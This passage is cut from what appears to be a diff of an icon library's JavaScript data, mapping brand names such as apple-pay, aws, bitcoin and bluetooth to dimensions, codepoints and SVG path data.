0-49.4-19.7-76.4-19.7C63.3 141.2 4 184.8 4 273.5q0 39.3 14.4 81.2c12.8 36.7 59 126.7 107.2 125.2 25.2-.6 43-17.9 75.8-17.9 31.8 0 48.3 17.9 76.4 17.9 48.6-.7 90.4-82.5 102.6-119.3-65.2-30.7-61.7-90-61.7-91.9zm-56.6-164.2c27.3-32.4 24.8-61.9 24-72.5-24.1 1.4-52 16.4-67.9 34.9-17.5 19.8-27.8 44.3-25.6 71.9 26.1 2 49.9-11.4 69.5-34.3z" ], + "apple-pay": [ 640, 512, [], "f415", "M116.9 158.5c-7.5 8.9-19.5 15.9-31.5 14.9-1.5-12 4.4-24.8 11.3-32.6 7.5-9.1 20.6-15.6 31.3-16.1 1.2 12.4-3.7 24.7-11.1 33.8m10.9 17.2c-17.4-1-32.3 9.9-40.5 9.9-8.4 0-21-9.4-34.8-9.1-17.9.3-34.5 10.4-43.6 26.5-18.8 32.3-4.9 80 13.3 106.3 8.9 13 19.5 27.3 33.5 26.8 13.3-.5 18.5-8.6 34.5-8.6 16.1 0 20.8 8.6 34.8 8.4 14.5-.3 23.6-13 32.5-26 10.1-14.8 14.3-29.1 14.5-29.9-.3-.3-28-10.9-28.3-42.9-.3-26.8 21.9-39.5 22.9-40.3-12.5-18.6-32-20.6-38.8-21.1m100.4-36.2v194.9h30.3v-66.6h41.9c38.3 0 65.1-26.3 65.1-64.3s-26.4-64-64.1-64h-73.2zm30.3 25.5h34.9c26.3 0 41.3 14 41.3 38.6s-15 38.8-41.4 38.8h-34.8V165zm162.2 170.9c19 0 36.6-9.6 44.6-24.9h.6v23.4h28v-97c0-28.1-22.5-46.3-57.1-46.3-32.1 0-55.9 18.4-56.8 43.6h27.3c2.3-12 13.4-19.9 28.6-19.9 18.5 0 28.9 8.6 28.9 24.5v10.8l-37.8 2.3c-35.1 2.1-54.1 16.5-54.1 41.5.1 25.2 19.7 42 47.8 42zm8.2-23.1c-16.1 0-26.4-7.8-26.4-19.6 0-12.3 9.9-19.4 28.8-20.5l33.6-2.1v11c0 18.2-15.5 31.2-36 31.2zm102.5 74.6c29.5 0 43.4-11.3 55.5-45.4L640 193h-30.8l-35.6 115.1h-.6L537.4 193h-31.6L557 334.9l-2.8 8.6c-4.6 14.6-12.1 20.3-25.5 20.3-2.4 0-7-.3-8.9-.5v23.4c1.8.4 9.3.7 11.6.7z" ], + artstation: [ 512, 512, [], "f77a", "M2 377.4l43 74.3A51.35 51.35 0 0 0 90.9 480h285.4l-59.2-102.6zM501.8 350L335.6 59.3A51.38 51.38 0 0 0 290.2 32h-88.4l257.3 447.6 40.7-70.5c1.9-3.2 21-29.7 2-59.1zM275 304.5l-115.5-200L44 304.5z" ], + asymmetrik: [ 576, 512, [], "f372", "M517.5 309.2c38.8-40 58.1-80 58.5-116.1.8-65.5-59.4-118.2-169.4-135C277.9 38.4 118.1 73.6 0 140.5 52 114 110.6 92.3 170.7 82.3c74.5-20.5 153-25.4 221.3-14.8C544.5 91.3 588.8 195 490.8 299.2c-10.2 10.8-22 21.1-35 30.6L304.9 103.4 114.7 388.9c-65.6-29.4-76.5-90.2-19.1-151.2 20.8-22.2 48.3-41.9 79.5-58.1 20-12.2 39.7-22.6 62-30.7-65.1 20.3-122.7 52.9-161.6 92.9-27.7 28.6-41.4 57.1-41.7 82.9-.5 35.1 23.4 65.1 68.4 83l-34.5 51.7h101.6l22-34.4c22.2 1 45.3 0 68.6-2.7l-22.8 37.1h135.5L340 406.3c18.6-5.3 36.9-11.5 54.5-18.7l45.9 71.8H542L468.6 349c18.5-12.1 35-25.5 48.9-39.8zm-187.6 80.5l-25-40.6-32.7 53.3c-23.4 3.5-46.7 5.1-69.2 4.4l101.9-159.3 78.7 123c-17.2 7.4-35.3 13.9-53.7 19.2z" ], + atlassian: [ 512, 512, [], "f77b", "M152.2 236.4c-7.7-8.2-19.7-7.7-24.8 2.8L1.6 490.2c-5 10 2.4 21.7 13.4 21.7h175c5.8.1 11-3.2 13.4-8.4 37.9-77.8 15.1-196.3-51.2-267.1zM244.4 8.1c-122.3 193.4-8.5 348.6 65 495.5 2.5 5.1 7.7 8.4 13.4 8.4H497c11.2 0 18.4-11.8 13.4-21.7 0 0-234.5-470.6-240.4-482.3-5.3-10.6-18.8-10.8-25.6.1z" ], + audible: [ 640, 512, [], "f373", "M640 199.9v54l-320 200L0 254v-54l320 200 320-200.1zm-194.5 72l47.1-29.4c-37.2-55.8-100.7-92.6-172.7-92.6-72 0-135.5 36.7-172.6 92.4h.3c2.5-2.3 5.1-4.5 7.7-6.7 89.7-74.4 219.4-58.1 290.2 36.3zm-220.1 18.8c16.9-11.9 36.5-18.7 57.4-18.7 34.4 0 65.2 18.4 86.4 47.6l45.4-28.4c-20.9-29.9-55.6-49.5-94.8-49.5-38.9 0-73.4 19.4-94.4 49zM103.6 161.1c131.8-104.3 318.2-76.4 417.5 62.1l.7 1 48.8-30.4C517.1 112.1 424.8 58.1 319.9 58.1c-103.5 0-196.6 53.5-250.5 135.6 9.9-10.5 22.7-23.5 34.2-32.6zm467 32.7z" ], + autoprefixer: [ 640, 512, [], "f41c", "M318.4 16l-161 480h77.5l25.4-81.4h119.5L405 496h77.5L318.4 16zm-40.3 341.9l41.2-130.4h1.5l40.9 130.4h-83.6zM640 405l-10-31.4L462.1 358l19.4 56.5L640 405zm-462.1-47L10 373.7 0 405l158.5 9.4 19.4-56.4z" ], + avianex: [ 512, 512, [], "f374", "M453.1 32h-312c-38.9 0-76.2 31.2-83.3 69.7L1.2 410.3C-5.9 448.8 19.9 480 58.9 480h312c38.9 0 76.2-31.2 83.3-69.7l56.7-308.5c7-38.6-18.8-69.8-57.8-69.8zm-58.2 347.3l-32 13.5-115.4-110c-14.7 10-29.2 19.5-41.7 27.1l22.1 64.2-17.9 12.7-40.6-61-52.4-48.1 15.7-15.4 58 31.1c9.3-10.5 20.8-22.6 32.8-34.9L203 228.9l-68.8-99.8 18.8-28.9 8.9-4.8L265 207.8l4.9 4.5c19.4-18.8 33.8-32.4 33.8-32.4 7.7-6.5 21.5-2.9 30.7 7.9 9 10.5 10.6 24.7 2.7 31.3-1.8 1.3-15.5 11.4-35.3 25.6l4.5 7.3 94.9 119.4-6.3 7.9z" ], + aviato: [ 640, 512, [], "f421", "M107.2 283.5l-19-41.8H36.1l-19 41.8H0l62.2-131.4 62.2 131.4h-17.2zm-45-98.1l-19.6 42.5h39.2l-19.6-42.5zm112.7 102.4l-62.2-131.4h17.1l45.1 96 45.1-96h17l-62.1 131.4zm80.6-4.3V156.4H271v127.1h-15.5zm209.1-115.6v115.6h-17.3V167.9h-41.2v-11.5h99.6v11.5h-41.1zM640 218.8c0 9.2-1.7 17.8-5.1 25.8-3.4 8-8.2 15.1-14.2 21.1-6 6-13.1 10.8-21.1 14.2-8 3.4-16.6 5.1-25.8 5.1s-17.8-1.7-25.8-5.1c-8-3.4-15.1-8.2-21.1-14.2-6-6-10.8-13-14.2-21.1-3.4-8-5.1-16.6-5.1-25.8s1.7-17.8 5.1-25.8c3.4-8 8.2-15.1 14.2-21.1 6-6 13-8.4 21.1-11.9 8-3.4 16.6-5.1 25.8-5.1s17.8 1.7 25.8 5.1c8 3.4 15.1 5.8 21.1 11.9 6 6 10.7 13.1 14.2 21.1 3.4 8 5.1 16.6 5.1 25.8zm-15.5 0c0-7.3-1.3-14-3.9-20.3-2.6-6.3-6.2-11.7-10.8-16.3-4.6-4.6-10-8.2-16.2-10.9-6.2-2.7-12.8-4-19.8-4s-13.6 1.3-19.8 4c-6.2 2.7-11.6 6.3-16.2 10.9-4.6 4.6-8.2 10-10.8 16.3-2.6 6.3-3.9 13.1-3.9 20.3 0 7.3 1.3 14 3.9 20.3 2.6 6.3 6.2 11.7 10.8 16.3 4.6 4.6 10 8.2 16.2 10.9 6.2 2.7 12.8 4 19.8 4s13.6-1.3 19.8-4c6.2-2.7 11.6-6.3 16.2-10.9 4.6-4.6 8.2-10 10.8-16.3 2.6-6.3 3.9-13.1 3.9-20.3zm-94.8 96.7v-6.3l88.9-10-242.9 13.4c.6-2.2 1.1-4.6 1.4-7.2.3-2 .5-4.2.6-6.5l64.8-8.1-64.9 1.9c0-.4-.1-.7-.1-1.1-2.8-17.2-25.5-23.7-25.5-23.7l-1.1-26.3h23.8l19 41.8h17.1L348.6 152l-62.2 131.4h17.1l19-41.8h23.6L345 268s-22.7 6.5-25.5 23.7c-.1.3-.1.7-.1 1.1l-64.9-1.9 64.8 8.1c.1 2.3.3 4.4.6 6.5.3 2.6.8 5 1.4 7.2L78.4 299.2l88.9 10v6.3c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4 0-6.2-4.6-11.3-10.5-12.2v-5.8l80.3 9v5.4c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-4.9l28.4 3.2v23.7h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9V323l38.3 4.3c8.1 11.4 19 13.6 19 13.6l-.1 6.7-5.1.2-.1 12.1h4.1l.1-5h5.2l.1 5h4.1l-.1-12.1-5.1-.2-.1-6.7s10.9-2.1 19-13.6l38.3-4.3v23.2h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9v-23.7l28.4-3.2v4.9c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-5.4l80.3-9v5.8c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4-.2-6.3-4.7-11.4-10.7-12.3zm-200.8-87.6l19.6-42.5 19.6 42.5h-17.9l-1.7-40.3-1.7 40.3h-17.9z" ], + aws: [ 640, 512, [], "f375", "M180.41 203.01c-.72 22.65 10.6 32.68 10.88 39.05a8.164 8.164 0 0 1-4.1 6.27l-12.8 8.96a10.66 10.66 0 0 1-5.63 1.92c-.43-.02-8.19 1.83-20.48-25.61a78.608 78.608 0 0 1-62.61 29.45c-16.28.89-60.4-9.24-58.13-56.21-1.59-38.28 34.06-62.06 70.93-60.05 7.1.02 21.6.37 46.99 6.27v-15.62c2.69-26.46-14.7-46.99-44.81-43.91-2.4.01-19.4-.5-45.84 10.11-7.36 3.38-8.3 2.82-10.75 2.82-7.41 0-4.36-21.48-2.94-24.2 5.21-6.4 35.86-18.35 65.94-18.18a76.857 76.857 0 0 1 55.69 17.28 70.285 70.285 0 0 1 17.67 52.36l-.01 69.29zM93.99 235.4c32.43-.47 46.16-19.97 49.29-30.47 2.46-10.05 2.05-16.41 2.05-27.4-9.67-2.32-23.59-4.85-39.56-4.87-15.15-1.14-42.82 5.63-41.74 32.26-1.24 16.79 11.12 31.4 29.96 30.48zm170.92 23.05c-7.86.72-11.52-4.86-12.68-10.37l-49.8-164.65c-.97-2.78-1.61-5.65-1.92-8.58a4.61 4.61 0 0 1 3.86-5.25c.24-.04-2.13 0 22.25 0 8.78-.88 11.64 6.03 12.55 10.37l35.72 140.83 33.16-140.83c.53-3.22 2.94-11.07 12.8-10.24h17.16c2.17-.18 11.11-.5 12.68 10.37l33.42 142.63L420.98 80.1c.48-2.18 2.72-11.37 12.68-10.37h19.72c.85-.13 6.15-.81 5.25 8.58-.43 1.85 3.41-10.66-52.75 169.9-1.15 5.51-4.82 11.09-12.68 10.37h-18.69c-10.94 1.15-12.51-9.66-12.68-10.75L328.67 110.7l-32.78 136.99c-.16 1.09-1.73 11.9-12.68 10.75h-18.3zm273.48 5.63c-5.88.01-33.92-.3-57.36-12.29a12.802 12.802 0 0 1-7.81-11.91v-10.75c0-8.45 6.2-6.9 8.83-5.89 10.04 4.06 16.48 7.14 28.81 9.6 36.65 7.53 52.77-2.3 56.72-4.48 13.15-7.81 14.19-25.68 5.25-34.95-10.48-8.79-15.48-9.12-53.13-21-4.64-1.29-43.7-13.61-43.79-52.36-.61-28.24 25.05-56.18 69.52-55.95 12.67-.01 46.43 4.13 55.57 15.62 1.35 2.09 2.02 4.55 1.92 7.04v10.11c0 4.44-1.62 6.66-4.87 6.66-7.71-.86-21.39-11.17-49.16-10.75-6.89-.36-39.89.91-38.41 24.97-.43 18.96 26.61 26.07 29.7 26.89 36.46 10.97 48.65 12.79 63.12 29.58 17.14 22.25 7.9 48.3 4.35 55.44-19.08 37.49-68.42 34.44-69.26 34.42zm40.2 104.86c-70.03 51.72-171.69 79.25-258.49 79.25A469.127 469.127 0 0 1 2.83 327.46c-6.53-5.89-.77-13.96 7.17-9.47a637.37 637.37 0 0 0 316.88 84.12 630.22 630.22 0 0 0 241.59-49.55c11.78-5 21.77 7.8 10.12 16.38zm29.19-33.29c-8.96-11.52-59.28-5.38-81.81-2.69-6.79.77-7.94-5.12-1.79-9.47 40.07-28.17 105.88-20.1 113.44-10.63 7.55 9.47-2.05 75.41-39.56 106.91-5.76 4.87-11.27 2.3-8.71-4.1 8.44-21.25 27.39-68.49 18.43-80.02z" ], + bandcamp: [ 512, 512, [], "f2d5", "M256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8Zm48.2,326.1h-181L207.9,178h181Z" ], + "battle-net": [ 512, 512, [], "f835", "M448.61 225.62c26.87.18 35.57-7.43 38.92-12.37 12.47-16.32-7.06-47.6-52.85-71.33 17.76-33.58 30.11-63.68 36.34-85.3 3.38-11.83 1.09-19 .45-20.25-1.72 10.52-15.85 48.46-48.2 100.05-25-11.22-56.52-20.1-93.77-23.8-8.94-16.94-34.88-63.86-60.48-88.93C252.18 7.14 238.7 1.07 228.18.22h-.05c-13.83-1.55-22.67 5.85-27.4 11-17.2 18.53-24.33 48.87-25 84.07-7.24-12.35-17.17-24.63-28.5-25.93h-.18c-20.66-3.48-38.39 29.22-36 81.29-38.36 1.38-71 5.75-93 11.23-9.9 2.45-16.22 7.27-17.76 9.72 1-.38 22.4-9.22 111.56-9.22 5.22 53 29.75 101.82 26 93.19-9.73 15.4-38.24 62.36-47.31 97.7-5.87 22.88-4.37 37.61.15 47.14 5.57 12.75 16.41 16.72 23.2 18.26 25 5.71 55.38-3.63 86.7-21.14-7.53 12.84-13.9 28.51-9.06 39.34 7.31 19.65 44.49 18.66 88.44-9.45 20.18 32.18 40.07 57.94 55.7 74.12a39.79 39.79 0 0 0 8.75 7.09c5.14 3.21 8.58 3.37 8.58 3.37-8.24-6.75-34-38-62.54-91.78 22.22-16 45.65-38.87 67.47-69.27 122.82 4.6 143.29-24.76 148-31.64 14.67-19.88 3.43-57.44-57.32-93.69zm-77.85 106.22c23.81-37.71 30.34-67.77 29.45-92.33 27.86 17.57 47.18 37.58 49.06 58.83 1.14 12.93-8.1 29.12-78.51 33.5zM216.9 387.69c9.76-6.23 19.53-13.12 29.2-20.49 6.68 13.33 13.6 26.1 20.6 38.19-40.6 21.86-68.84 12.76-49.8-17.7zm215-171.35c-10.29-5.34-21.16-10.34-32.38-15.05a722.459 722.459 0 0 0 22.74-36.9c39.06 24.1 45.9 53.18 9.64 51.95zM279.18 398c-5.51-11.35-11-23.5-16.5-36.44 43.25 1.27 62.42-18.73 63.28-20.41 0 .07-25 15.64-62.53 12.25a718.78 718.78 0 0 0 85.06-84q13.06-15.31 24.93-31.11c-.36-.29-1.54-3-16.51-12-51.7 60.27-102.34 98-132.75 115.92-20.59-11.18-40.84-31.78-55.71-61.49-20-39.92-30-82.39-31.57-116.07 12.3.91 25.27 2.17 38.85 3.88-22.29 36.8-14.39 63-13.47 64.23 0-.07-.95-29.17 20.14-59.57a695.23 695.23 0 0 0 44.67 152.84c.93-.38 1.84.88 18.67-8.25-26.33-74.47-33.76-138.17-34-173.43 20-12.42 48.18-19.8 81.63-17.81 44.57 2.67 86.36 15.25 116.32 30.71q-10.69 15.66-23.33 32.47C365.63 152 339.1 145.84 337.5 146c.11 0 25.9 14.07 41.52 47.22a717.63 717.63 0 0 0-115.34-31.71 646.608 646.608 0 0 0-39.39-6.05c-.07.45-1.81 1.85-2.16 20.33C300 190.28 358.78 215.68 389.36 233c.74 23.55-6.95 51.61-25.41 79.57-24.6 37.31-56.39 67.23-84.77 85.43zm27.4-287c-44.56-1.66-73.58 7.43-94.69 20.67 2-52.3 21.31-76.38 38.21-75.28C267 52.15 305 108.55 306.58 111zm-130.65 3.1c.48 12.11 1.59 24.62 3.21 37.28-14.55-.85-28.74-1.25-42.4-1.26-.08 3.24-.12-51 24.67-49.59h.09c5.76 1.09 10.63 6.88 14.43 13.57zm-28.06 162c20.76 39.7 43.3 60.57 65.25 72.31-46.79 24.76-77.53 20-84.92 4.51-.2-.21-11.13-15.3 19.67-76.81zm210.06 74.8" ], + behance: [ 576, 512, [], "f1b4", "M232 237.2c31.8-15.2 48.4-38.2 48.4-74 0-70.6-52.6-87.8-113.3-87.8H0v354.4h171.8c64.4 0 124.9-30.9 124.9-102.9 0-44.5-21.1-77.4-64.7-89.7zM77.9 135.9H151c28.1 0 53.4 7.9 53.4 40.5 0 30.1-19.7 42.2-47.5 42.2h-79v-82.7zm83.3 233.7H77.9V272h84.9c34.3 0 56 14.3 56 50.6 0 35.8-25.9 47-57.6 47zm358.5-240.7H376V94h143.7v34.9zM576 305.2c0-75.9-44.4-139.2-124.9-139.2-78.2 0-131.3 58.8-131.3 135.8 0 79.9 50.3 134.7 131.3 134.7 61.3 0 101-27.6 120.1-86.3H509c-6.7 21.9-34.3 33.5-55.7 33.5-41.3 0-63-24.2-63-65.3h185.1c.3-4.2.6-8.7.6-13.2zM390.4 274c2.3-33.7 24.7-54.8 58.5-54.8 35.4 0 53.2 20.8 56.2 54.8H390.4z" ], + "behance-square": [ 448, 512, [], "f1b5", "M186.5 293c0 19.3-14 25.4-31.2 25.4h-45.1v-52.9h46c18.6.1 30.3 7.8 30.3 27.5zm-7.7-82.3c0-17.7-13.7-21.9-28.9-21.9h-39.6v44.8H153c15.1 0 25.8-6.6 25.8-22.9zm132.3 23.2c-18.3 0-30.5 11.4-31.7 29.7h62.2c-1.7-18.5-11.3-29.7-30.5-29.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM271.7 185h77.8v-18.9h-77.8V185zm-43 110.3c0-24.1-11.4-44.9-35-51.6 17.2-8.2 26.2-17.7 26.2-37 0-38.2-28.5-47.5-61.4-47.5H68v192h93.1c34.9-.2 67.6-16.9 67.6-55.9zM380 280.5c0-41.1-24.1-75.4-67.6-75.4-42.4 0-71.1 31.8-71.1 73.6 0 43.3 27.3 73 71.1 73 33.2 0 54.7-14.9 65.1-46.8h-33.7c-3.7 11.9-18.6 18.1-30.2 18.1-22.4 0-34.1-13.1-34.1-35.3h100.2c.1-2.3.3-4.8.3-7.2z" ], + bimobject: [ 448, 512, [], "f378", "M416 32H32C14.4 32 0 46.4 0 64v384c0 17.6 14.4 32 32 32h384c17.6 0 32-14.4 32-32V64c0-17.6-14.4-32-32-32zm-64 257.4c0 49.4-11.4 82.6-103.8 82.6h-16.9c-44.1 0-62.4-14.9-70.4-38.8h-.9V368H96V136h64v74.7h1.1c4.6-30.5 39.7-38.8 69.7-38.8h17.3c92.4 0 103.8 33.1 103.8 82.5v35zm-64-28.9v22.9c0 21.7-3.4 33.8-38.4 33.8h-45.3c-28.9 0-44.1-6.5-44.1-35.7v-19c0-29.3 15.2-35.7 44.1-35.7h45.3c35-.2 38.4 12 38.4 33.7z" ], + bitbucket: [ 512, 512, [], "f171", "M22.2 32A16 16 0 0 0 6 47.8a26.35 26.35 0 0 0 .2 2.8l67.9 412.1a21.77 21.77 0 0 0 21.3 18.2h325.7a16 16 0 0 0 16-13.4L505 50.7a16 16 0 0 0-13.2-18.3 24.58 24.58 0 0 0-2.8-.2L22.2 32zm285.9 297.8h-104l-28.1-147h157.3l-25.2 147z" ], + bitcoin: [ 512, 512, [], "f379", "M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zm-141.651-35.33c4.937-32.999-20.191-50.739-54.55-62.573l11.146-44.702-27.213-6.781-10.851 43.524c-7.154-1.783-14.502-3.464-21.803-5.13l10.929-43.81-27.198-6.781-11.153 44.686c-5.922-1.349-11.735-2.682-17.377-4.084l.031-.14-37.53-9.37-7.239 29.062s20.191 4.627 19.765 4.913c11.022 2.751 13.014 10.044 12.68 15.825l-12.696 50.925c.76.194 1.744.473 2.829.907-.907-.225-1.876-.473-2.876-.713l-17.796 71.338c-1.349 3.348-4.767 8.37-12.471 6.464.271.395-19.78-4.937-19.78-4.937l-13.51 31.147 35.414 8.827c6.588 1.651 13.045 3.379 19.4 5.006l-11.262 45.213 27.182 6.781 11.153-44.733a1038.209 1038.209 0 0 0 21.687 5.627l-11.115 44.523 27.213 6.781 11.262-45.128c46.404 8.781 81.299 5.239 95.986-36.727 11.836-33.79-.589-53.281-25.004-65.991 17.78-4.098 31.174-15.792 34.747-39.949zm-62.177 87.179c-8.41 33.79-65.308 15.523-83.755 10.943l14.944-59.899c18.446 4.603 77.6 13.717 68.811 48.956zm8.417-87.667c-7.673 30.736-55.031 15.12-70.393 11.292l13.548-54.327c15.363 3.828 64.836 10.973 56.845 43.035z" ], + bity: [ 496, 512, [], "f37a", "M78.4 67.2C173.8-22 324.5-24 421.5 71c14.3 14.1-6.4 37.1-22.4 21.5-84.8-82.4-215.8-80.3-298.9-3.2-16.3 15.1-36.5-8.3-21.8-22.1zm98.9 418.6c19.3 5.7 29.3-23.6 7.9-30C73 421.9 9.4 306.1 37.7 194.8c5-19.6-24.9-28.1-30.2-7.1-32.1 127.4 41.1 259.8 169.8 298.1zm148.1-2c121.9-40.2 192.9-166.9 164.4-291-4.5-19.7-34.9-13.8-30 7.9 24.2 107.7-37.1 217.9-143.2 253.4-21.2 7-10.4 36 8.8 29.7zm-62.9-79l.2-71.8c0-8.2-6.6-14.8-14.8-14.8-8.2 0-14.8 6.7-14.8 14.8l-.2 71.8c0 8.2 6.6 14.8 14.8 14.8s14.8-6.6 14.8-14.8zm71-269c2.1 90.9 4.7 131.9-85.5 132.5-92.5-.7-86.9-44.3-85.5-132.5 0-21.8-32.5-19.6-32.5 0v71.6c0 69.3 60.7 90.9 118 90.1 57.3.8 118-20.8 118-90.1v-71.6c0-19.6-32.5-21.8-32.5 0z" ], + "black-tie": [ 448, 512, [], "f27e", "M0 32v448h448V32H0zm316.5 325.2L224 445.9l-92.5-88.7 64.5-184-64.5-86.6h184.9L252 173.2l64.5 184z" ], + blackberry: [ 512, 512, [], "f37b", "M166 116.9c0 23.4-16.4 49.1-72.5 49.1H23.4l21-88.8h67.8c42.1 0 53.8 23.3 53.8 39.7zm126.2-39.7h-67.8L205.7 166h70.1c53.8 0 70.1-25.7 70.1-49.1.1-16.4-11.6-39.7-53.7-39.7zM88.8 208.1H21L0 296.9h70.1c56.1 0 72.5-23.4 72.5-49.1 0-16.3-11.7-39.7-53.8-39.7zm180.1 0h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1 0-16.3-11.7-39.7-53.7-39.7zm189.3-53.8h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7zm-28 137.9h-67.8L343.7 381h70.1c56.1 0 70.1-23.4 70.1-49.1 0-16.3-11.6-39.7-53.7-39.7zM240.8 346H173l-18.7 88.8h70.1c56.1 0 70.1-25.7 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7z" ], + blogger: [ 448, 512, [], "f37c", "M162.4 196c4.8-4.9 6.2-5.1 36.4-5.1 27.2 0 28.1.1 32.1 2.1 5.8 2.9 8.3 7 8.3 13.6 0 5.9-2.4 10-7.6 13.4-2.8 1.8-4.5 1.9-31.1 2.1-16.4.1-29.5-.2-31.5-.8-10.3-2.9-14.1-17.7-6.6-25.3zm61.4 94.5c-53.9 0-55.8.2-60.2 4.1-3.5 3.1-5.7 9.4-5.1 13.9.7 4.7 4.8 10.1 9.2 12 2.2 1 14.1 1.7 56.3 1.2l47.9-.6 9.2-1.5c9-5.1 10.5-17.4 3.1-24.4-5.3-4.7-5-4.7-60.4-4.7zm223.4 130.1c-3.5 28.4-23 50.4-51.1 57.5-7.2 1.8-9.7 1.9-172.9 1.8-157.8 0-165.9-.1-172-1.8-8.4-2.2-15.6-5.5-22.3-10-5.6-3.8-13.9-11.8-17-16.4-3.8-5.6-8.2-15.3-10-22C.1 423 0 420.3 0 256.3 0 93.2 0 89.7 1.8 82.6 8.1 57.9 27.7 39 53 33.4c7.3-1.6 332.1-1.9 340-.3 21.2 4.3 37.9 17.1 47.6 36.4 7.7 15.3 7-1.5 7.3 180.6.2 115.8 0 164.5-.7 170.5zm-85.4-185.2c-1.1-5-4.2-9.6-7.7-11.5-1.1-.6-8-1.3-15.5-1.7-12.4-.6-13.8-.8-17.8-3.1-6.2-3.6-7.9-7.6-8-18.3 0-20.4-8.5-39.4-25.3-56.5-12-12.2-25.3-20.5-40.6-25.1-3.6-1.1-11.8-1.5-39.2-1.8-42.9-.5-52.5.4-67.1 6.2-27 10.7-46.3 33.4-53.4 62.4-1.3 5.4-1.6 14.2-1.9 64.3-.4 62.8 0 72.1 4 84.5 9.7 30.7 37.1 53.4 64.6 58.4 9.2 1.7 122.2 2.1 133.7.5 20.1-2.7 35.9-10.8 50.7-25.9 10.7-10.9 17.4-22.8 21.8-38.5 3.2-10.9 2.9-88.4 1.7-93.9z" ], + "blogger-b": [ 448, 512, [], "f37d", "M446.6 222.7c-1.8-8-6.8-15.4-12.5-18.5-1.8-1-13-2.2-25-2.7-20.1-.9-22.3-1.3-28.7-5-10.1-5.9-12.8-12.3-12.9-29.5-.1-33-13.8-63.7-40.9-91.3-19.3-19.7-40.9-33-65.5-40.5-5.9-1.8-19.1-2.4-63.3-2.9-69.4-.8-84.8.6-108.4 10C45.9 59.5 14.7 96.1 3.3 142.9 1.2 151.7.7 165.8.2 246.8c-.6 101.5.1 116.4 6.4 136.5 15.6 49.6 59.9 86.3 104.4 94.3 14.8 2.7 197.3 3.3 216 .8 32.5-4.4 58-17.5 81.9-41.9 17.3-17.7 28.1-36.8 35.2-62.1 4.9-17.6 4.5-142.8 2.5-151.7zm-322.1-63.6c7.8-7.9 10-8.2 58.8-8.2 43.9 0 45.4.1 51.8 3.4 9.3 4.7 13.4 11.3 13.4 21.9 0 9.5-3.8 16.2-12.3 21.6-4.6 2.9-7.3 3.1-50.3 3.3-26.5.2-47.7-.4-50.8-1.2-16.6-4.7-22.8-28.5-10.6-40.8zm191.8 199.8l-14.9 2.4-77.5.9c-68.1.8-87.3-.4-90.9-2-7.1-3.1-13.8-11.7-14.9-19.4-1.1-7.3 2.6-17.3 8.2-22.4 7.1-6.4 10.2-6.6 97.3-6.7 89.6-.1 89.1-.1 97.6 7.8 12.1 11.3 9.5 31.2-4.9 39.4z" ], + bluetooth: [ 448, 512, [], "f293", "M292.6 171.1L249.7 214l-.3-86 43.2 43.1m-43.2 219.8l43.1-43.1-42.9-42.9-.2 86zM416 259.4C416 465 344.1 512 230.9 512S32 465 32 259.4 115.4 0 228.6 0 416 53.9 416 259.4zm-158.5 0l79.4-88.6L211.8 36.5v176.9L138 139.6l-27 26.9 92.7 93-92.7 93 26.9 26.9 73.8-73.8 2.3 170 127.4-127.5-83.9-88.7z" ], + "bluetooth-b": [ 320, 512, [], "f294", "M196.48 260.023l92.626-103.333L143.125 0v206.33l-86.111-86.111-31.406 31.405 108.061 108.399L25.608 368.422l31.406 31.405 86.111-86.111L145.84 512l148.552-148.644-97.912-103.333zm40.86-102.996l-49.977 49.978-.338-100.295 50.315 50.317zM187.363 313.04l49.977 49.978-50.315 50.316.338-100.294z" ], + bootstrap: [ 576, 512, [], "f836", "M333.5,201.4c0-22.1-15.6-34.3-43-34.3h-50.4v71.2h42.5C315.4,238.2,333.5,225,333.5,201.4z M517,188.6 c-9.5-30.9-10.9-68.8-9.8-98.1c1.1-30.5-22.7-58.5-54.7-58.5H123.7c-32.1,0-55.8,28.1-54.7,58.5c1,29.3-0.3,67.2-9.8,98.1 c-9.6,31-25.7,50.6-52.2,53.1v28.5c26.4,2.5,42.6,22.1,52.2,53.1c9.5,30.9,10.9,68.8,9.8,98.1c-1.1,30.5,22.7,58.5,54.7,58.5h328.7 c32.1,0,55.8-28.1,54.7-58.5c-1-29.3,0.3-67.2,9.8-98.1c9.6-31,25.7-50.6,52.1-53.1v-28.5C542.7,239.2,526.5,219.6,517,188.6z M300.2,375.1h-97.9V136.8h97.4c43.3,0,71.7,23.4,71.7,59.4c0,25.3-19.1,47.9-43.5,51.8v1.3c33.2,3.6,55.5,26.6,55.5,58.3 C383.4,349.7,352.1,375.1,300.2,375.1z M290.2,266.4h-50.1v78.4h52.3c34.2,0,52.3-13.7,52.3-39.5 C344.7,279.6,326.1,266.4,290.2,266.4z" ], + btc: [ 384, 512, [], "f15a", "M310.204 242.638c27.73-14.18 45.377-39.39 41.28-81.3-5.358-57.351-52.458-76.573-114.85-81.929V0h-48.528v77.203c-12.605 0-25.525.315-38.444.63V0h-48.528v79.409c-17.842.539-38.622.276-97.37 0v51.678c38.314-.678 58.417-3.14 63.023 21.427v217.429c-2.925 19.492-18.524 16.685-53.255 16.071L3.765 443.68c88.481 0 97.37.315 97.37.315V512h48.528v-67.06c13.234.315 26.154.315 38.444.315V512h48.528v-68.005c81.299-4.412 135.647-24.894 142.895-101.467 5.671-61.446-23.32-88.862-69.326-99.89zM150.608 134.553c27.415 0 113.126-8.507 113.126 48.528 0 54.515-85.71 48.212-113.126 